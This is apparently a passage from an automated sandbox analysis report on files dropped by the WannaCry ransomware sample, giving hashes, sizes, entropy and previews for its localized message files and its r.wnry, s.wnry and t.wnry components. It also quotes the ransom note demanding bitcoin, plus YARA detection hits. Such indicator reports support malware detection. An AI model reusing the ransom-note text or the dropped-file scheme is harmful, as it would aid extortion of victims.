                                                                                                      SHA1:75AD3B1AD4FB14813882D88E952208C648F1FD18
                                                                                                      SHA-256:CB5DA96B3DFCF4394713623DBF3831B2A0B8BE63987F563E1C32EDEB74CB6C3A
                                                                                                      SHA-512:F01DF3256D49325E5EC49FD265AA3F176020C8FFEC60EB1D828C75A3FA18FF8634E1DE824D77DFDD833768ACFF1F547303104620C70066A2708654A07EF22E19
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f2\fbidi \fmodern\fcharset0\fprq1{\*\panose 02070309020205020404}Courier New;}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f36\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f37\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}{\f40\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}@\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba

                                                                                                      C:\Users\user\Desktop\msg\m_polish.wnry

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                                                                                      Category:dropped
                                                                                                      Size (bytes):39896
                                                                                                      Entropy (8bit):5.048541002474746
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:384:SheftipUENLFsPzy3EFHjHdD2SG2gA8w8OJ6868jy8/8w8m8T848f8y858l8j8yv:Shef3jHdxG2KhuZrS14G
                                                                                                      MD5:E79D7F2833A9C2E2553C7FE04A1B63F4
                                                                                                      SHA1:3D9F56D2381B8FE16042AA7C4FEB1B33F2BAEBFF
                                                                                                      SHA-256:519AD66009A6C127400C6C09E079903223BD82ECC18AD71B8E5CD79F5F9C053E
                                                                                                      SHA-512:E0159C753491CAC7606A7250F332E87BC6B14876BC7A1CF5625FA56AB4F09C485F7B231DD52E4FF0F5F3C29862AFB1124C0EFD0741613EB97A83CBE2668AF5DE
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f2\fbidi \fmodern\fcharset0\fprq1{\*\panose 02070309020205020404}Courier New;}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f36\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f37\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}{\f40\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}@\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba

                                                                                                      C:\Users\user\Desktop\msg\m_portuguese.wnry

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                                                                                      Category:dropped
                                                                                                      Size (bytes):37917
                                                                                                      Entropy (8bit):5.027872281764284
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:384:SheftipUENLFsPzy3EFHjHdy2QG2xgk5eo75Y3kmA31dv61QyV:Shef3jHdCG2EZrS14p
                                                                                                      MD5:FA948F7D8DFB21CEDDD6794F2D56B44F
                                                                                                      SHA1:CA915FBE020CAA88DD776D89632D7866F660FC7A
                                                                                                      SHA-256:BD9F4B3AEDF4F81F37EC0A028AABCB0E9A900E6B4DE04E9271C8DB81432E2A66
                                                                                                      SHA-512:0D211BFB0AE953081DCA00CD07F8C908C174FD6C47A8001FADC614203F0E55D9FBB7FA9B87C735D57101341AB36AF443918EE00737ED4C19ACE0A2B85497F41A
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f2\fbidi \fmodern\fcharset0\fprq1{\*\panose 02070309020205020404}Courier New;}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f36\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f37\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}{\f40\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}@\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba

                                                                                                      C:\Users\user\Desktop\msg\m_romanian.wnry

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                                                                                      Category:dropped
                                                                                                      Size (bytes):52161
                                                                                                      Entropy (8bit):4.964306949910696
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:768:Shef3jHdXG2Cz2/vBAOZsQO0cLfnF/Zhcz7sDsYZBB/0gBjL+IU/hbhMVDtsR49P:ShehlrGR1m4dx9mjVyAvg7ouDT
                                                                                                      MD5:313E0ECECD24F4FA1504118A11BC7986
                                                                                                      SHA1:E1B9AE804C7FB1D27F39DB18DC0647BB04E75E9D
                                                                                                      SHA-256:70C0F32ED379AE899E5AC975E20BBBACD295CF7CD50C36174D2602420C770AC1
                                                                                                      SHA-512:C7500363C61BAF8B77FCE796D750F8F5E6886FF0A10F81C3240EA3AD4E5F101B597490DEA8AB6BD9193457D35D8FD579FCE1B88A1C8D85EBE96C66D909630730
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f2\fbidi \fmodern\fcharset0\fprq1{\*\panose 02070309020205020404}Courier New;}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f36\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f37\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}{\f40\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}@\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba

                                                                                                      C:\Users\user\Desktop\msg\m_russian.wnry

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                                                                                      Category:dropped
                                                                                                      Size (bytes):47108
                                                                                                      Entropy (8bit):4.952777691675008
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:384:SheftipUENLFsPzy3EFHjHdg2qG2aUGs0K6lyZqmfGGHRblldORZeo75Y3kmA31L:Shef3jHdeG2lGsDOcZxbP7ZrS14K
                                                                                                      MD5:452615DB2336D60AF7E2057481E4CAB5
                                                                                                      SHA1:442E31F6556B3D7DE6EB85FBAC3D2957B7F5EAC6
                                                                                                      SHA-256:02932052FAFE97E6ACAAF9F391738A3A826F5434B1A013ABBFA7A6C1ADE1E078
                                                                                                      SHA-512:7613DC329ABE7A3F32164C9A6B660F209A84B774AB9C008BF6503C76255B30EA9A743A6DC49A8DE8DF0BCB9AEA5A33F7408BA27848D9562583FF51991910911F
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f2\fbidi \fmodern\fcharset0\fprq1{\*\panose 02070309020205020404}Courier New;}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f36\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f37\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}{\f40\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}@\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba

                                                                                                      C:\Users\user\Desktop\msg\m_slovak.wnry

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                                                                                      Category:dropped
                                                                                                      Size (bytes):41391
                                                                                                      Entropy (8bit):5.027730966276624
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:384:SheftipUENLFsPzy3EFHjHd4Yb2YG2gNZ8a8zV/8j8U8l8x838Z8Q808m8d8T8hw:Shef3jHdZvG23AZrS14f
                                                                                                      MD5:C911ABA4AB1DA6C28CF86338AB2AB6CC
                                                                                                      SHA1:FEE0FD58B8EFE76077620D8ABC7500DBFEF7C5B0
                                                                                                      SHA-256:E64178E339C8E10EAC17A236A67B892D0447EB67B1DCD149763DAD6FD9F72729
                                                                                                      SHA-512:3491ED285A091A123A1A6D61AAFBB8D5621CCC9E045A237A2F9C2CF6049E7420EB96EF30FDCEA856B50454436E2EC468770F8D585752D73FAFD676C4EF5E800A
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f2\fbidi \fmodern\fcharset0\fprq1{\*\panose 02070309020205020404}Courier New;}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f36\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f37\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}{\f40\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}@\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba

                                                                                                      C:\Users\user\Desktop\msg\m_spanish.wnry

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                                                                                      Category:dropped
                                                                                                      Size (bytes):37381
                                                                                                      Entropy (8bit):5.02443306661187
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:384:SheftipUENLFsPzy3EFHjHdf24G2/ezV6YQUdZYlujeMQ9RXmhRweo75Y3kmA31S:Shef3jHdrG2fuhZrS14T
                                                                                                      MD5:8D61648D34CBA8AE9D1E2A219019ADD1
                                                                                                      SHA1:2091E42FC17A0CC2F235650F7AAD87ABF8BA22C2
                                                                                                      SHA-256:72F20024B2F69B45A1391F0A6474E9F6349625CE329F5444AEC7401FE31F8DE1
                                                                                                      SHA-512:68489C33BA89EDFE2E3AEBAACF8EF848D2EA88DCBEF9609C258662605E02D12CFA4FFDC1D266FC5878488E296D2848B2CB0BBD45F1E86EF959BAB6162D284079
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f2\fbidi \fmodern\fcharset0\fprq1{\*\panose 02070309020205020404}Courier New;}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f36\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f37\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}{\f40\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}@\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba

                                                                                                      C:\Users\user\Desktop\msg\m_swedish.wnry

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                                                                                      Category:dropped
                                                                                                      Size (bytes):38483
                                                                                                      Entropy (8bit):5.022972736625151
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:384:SheftipUENLFsPzy3EFHjHdb24G2ZKLVdDeo75Y3kmA31dv61QyE:Shef3jHd/G2w6ZrS14w
                                                                                                      MD5:C7A19984EB9F37198652EAF2FD1EE25C
                                                                                                      SHA1:06EAFED025CF8C4D76966BF382AB0C5E1BD6A0AE
                                                                                                      SHA-256:146F61DB72297C9C0FACFFD560487F8D6A2846ECEC92ECC7DB19C8D618DBC3A4
                                                                                                      SHA-512:43DD159F9C2EAC147CBFF1DDA83F6A83DD0C59D2D7ACAC35BA8B407A04EC9A1110A6A8737535D060D100EDE1CB75078CF742C383948C9D4037EF459D150F6020
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f2\fbidi \fmodern\fcharset0\fprq1{\*\panose 02070309020205020404}Courier New;}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f36\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f37\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}{\f40\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}@\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba

                                                                                                      C:\Users\user\Desktop\msg\m_turkish.wnry

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                                                                                      Category:dropped
                                                                                                      Size (bytes):42582
                                                                                                      Entropy (8bit):5.010722377068833
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:384:SheftipUENLFsPzy3EFHjHds42WG2mzGu/eo75Y3kmA31dv61QyZ:Shef3jHdsiG2moZrS149
                                                                                                      MD5:531BA6B1A5460FC9446946F91CC8C94B
                                                                                                      SHA1:CC56978681BD546FD82D87926B5D9905C92A5803
                                                                                                      SHA-256:6DB650836D64350BBDE2AB324407B8E474FC041098C41ECAC6FD77D632A36415
                                                                                                      SHA-512:EF25C3CF4343DF85954114F59933C7CC8107266C8BCAC3B5EA7718EB74DBEE8CA8A02DA39057E6EF26B64F1DFCCD720DD3BF473F5AE340BA56941E87D6B796C9
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f2\fbidi \fmodern\fcharset0\fprq1{\*\panose 02070309020205020404}Courier New;}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f36\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f37\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}{\f40\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}@\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba

                                                                                                      C:\Users\user\Desktop\msg\m_vietnamese.wnry

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                                                                                      Category:dropped
                                                                                                      Size (bytes):93778
                                                                                                      Entropy (8bit):4.76206134900188
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:384:SheftipUENLFsPzy3EFHjHdW2YG22cViQj3KiG8dpcH8iEriG8E8O83Jz52sxG8h:Shef3jHdWG2+oPZrS14i
                                                                                                      MD5:8419BE28A0DCEC3F55823620922B00FA
                                                                                                      SHA1:2E4791F9CDFCA8ABF345D606F313D22B36C46B92
                                                                                                      SHA-256:1F21838B244C80F8BED6F6977AA8A557B419CF22BA35B1FD4BF0F98989C5BDF8
                                                                                                      SHA-512:8FCA77E54480AEA3C0C7A705263ED8FB83C58974F5F0F62F12CC97C8E0506BA2CDB59B70E59E9A6C44DD7CDE6ADEEEC35B494D31A6A146FF5BA7006136AB9386
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f2\fbidi \fmodern\fcharset0\fprq1{\*\panose 02070309020205020404}Courier New;}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f36\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f37\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}{\f40\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}@\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba

                                                                                                      C:\Users\user\Desktop\r.wnry

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:ASCII text, with CRLF line terminators
                                                                                                      Category:dropped
                                                                                                      Size (bytes):864
                                                                                                      Entropy (8bit):4.5335184780121995
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:ptrPzDVR5Gi3OzGm0Ei5bnBR7brW8PNAi0eEprY+Ai75wRZce/:DZD36W5/vWmMo+m
                                                                                                      MD5:3E0020FC529B1C2A061016DD2469BA96
                                                                                                      SHA1:C3A91C22B63F6FE709E7C29CAFB29A2EE83E6ADE
                                                                                                      SHA-256:402751FA49E0CB68FE052CB3DB87B05E71C1D950984D339940CF6B29409F2A7C
                                                                                                      SHA-512:5CA3C134201ED39D96D72911C0498BAE6F98701513FD7F1DC8512819B673F0EA580510FA94ED9413CCC73DA18B39903772A7CBFA3478176181CEE68C896E14CF
                                                                                                      Malicious:false
                                                                                                      Yara Hits:
                                                                                                      • Rule: WannaCry_RansomNote, Description: Detects WannaCry Ransomware Note, Source: C:\Users\user\Desktop\r.wnry, Author: Florian Roth
                                                                                                      • Rule: WannaCry_RansomNote, Description: Detects WannaCry Ransomware Note, Source: C:\Users\user\Desktop\r.wnry, Author: Florian Roth
                                                                                                      • Rule: WannaCry_RansomNote, Description: Detects WannaCry Ransomware Note, Source: C:\Users\user\Desktop\r.wnry, Author: Florian Roth
                                                                                                      • Rule: WannaCry_RansomNote, Description: Detects WannaCry Ransomware Note, Source: C:\Users\user\Desktop\r.wnry, Author: Florian Roth
                                                                                                      • Rule: WannaCry_RansomNote, Description: Detects WannaCry Ransomware Note, Source: C:\Users\user\Desktop\r.wnry, Author: Florian Roth
                                                                                                      • Rule: WannaCry_RansomNote, Description: Detects WannaCry Ransomware Note, Source: C:\Users\user\Desktop\r.wnry, Author: Florian Roth
                                                                                                      • Rule: WannaCry_RansomNote, Description: Detects WannaCry Ransomware Note, Source: C:\Users\user\Desktop\r.wnry, Author: Florian Roth
                                                                                                      • Rule: WannaCry_RansomNote, Description: Detects WannaCry Ransomware Note, Source: C:\Users\user\Desktop\r.wnry, Author: Florian Roth
                                                                                                      Reputation:unknown
                                                                                                      Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send %s to this bitcoin address: %s.... Next, please find an application file named "%s". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window...

                                                                                                      C:\Users\user\Desktop\s.wnry

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:Zip archive data, at least v1.0 to extract, compression method=store
                                                                                                      Category:dropped
                                                                                                      Size (bytes):3038286
                                                                                                      Entropy (8bit):7.998263053003918
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:49152:zUx4db9A1iRdHAHZXaTnCshuTnSQYUB/UZfCg2clOQin2h37l2Jh9iiRKpbXUSH:z/b96AdHA5XaTJvQYUBBgRlJi+rlliRy
                                                                                                      MD5:AD4C9DE7C8C40813F200BA1C2FA33083
                                                                                                      SHA1:D1AF27518D455D432B62D73C6A1497D032F6120E
                                                                                                      SHA-256:E18FDD912DFE5B45776E68D578C3AF3547886CF1353D7086C8BEE037436DFF4B
                                                                                                      SHA-512:115733D08E5F1A514808A20B070DB7FF453FD149865F49C04365A8C6502FA1E5C3A31DA3E21F688AB040F583CF1224A544AEA9708FFAB21405DDE1C57F98E617
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:PK..........!(................Data/PK........M..J................Data/Tor/PK..........!(................Tor/PK..........!(..t.......0.....Tor/libeay32.dll.:.t.e....6m.....Me.Vjil....!..E..T..e...*..e....,.c..o=..t.u..,....J..k-.x.V..:1u....v..7.L~..?{..rN23.w......o..N2....WU..G..G.......Ed..7..q.o.5.]w.{...wl\y..m..w...?]......n......Z]UX./h4.....]...71....e.\^1..I..MH5...k.o+..s...c|s....-#d,!..............eW...?a.......R..I..R......w.....m..#od.*q.&..g.;.C(..t.V...j.Jq%...d_.Js...Hk.j#...DH.....,8_.O...]U....t .......ks:..T...18.C.%ASZJ3.U.nl..J.@)...$...N.s.O........m.0..*e..4.....m...lI..Z..7.f-.?....;...?.SO....}..7#.L8...5.z.~.........E.S..1....7.*.0...pf.....jz.)..Y..8..^....B........p.W..r..B.....p..?......../`*Wl..D.xAi..$..d.......&..p. ..bOtE.\.......(..&A...6v..S..Q...L...3 .:.6.m7.'.......)......iH.NZ_t.;./.a..n.g...A`.T.k.........."...<.rt..3....0.{N..yy...p.z.=..#.u.u...d......mQ..*.H..2.N.BRSN...XC....).".@.._.18.&...n

                                                                                                      C:\Users\user\Desktop\t.wnry

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):65816
                                                                                                      Entropy (8bit):7.997276137881339
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:1536:am+vLII5ygV8/tuH+P9zxqDKvARpmKiRMkTERU:a9LAg4tXPTEKvADmFgRU
                                                                                                      MD5:5DCAAC857E695A65F5C3EF1441A73A8F
                                                                                                      SHA1:7B10AAEEE05E7A1EFB43D9F837E9356AD55C07DD
                                                                                                      SHA-256:97EBCE49B14C46BEBC9EC2448D00E1E397123B256E2BE9EBA5140688E7BC0AE6
                                                                                                      SHA-512:06EB5E49D19B71A99770D1B11A5BB64A54BF3352F36E39A153469E54205075C203B08128DC2317259DB206AB5323BDD93AAA252A066F57FB5C52FF28DEEDB5E2
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
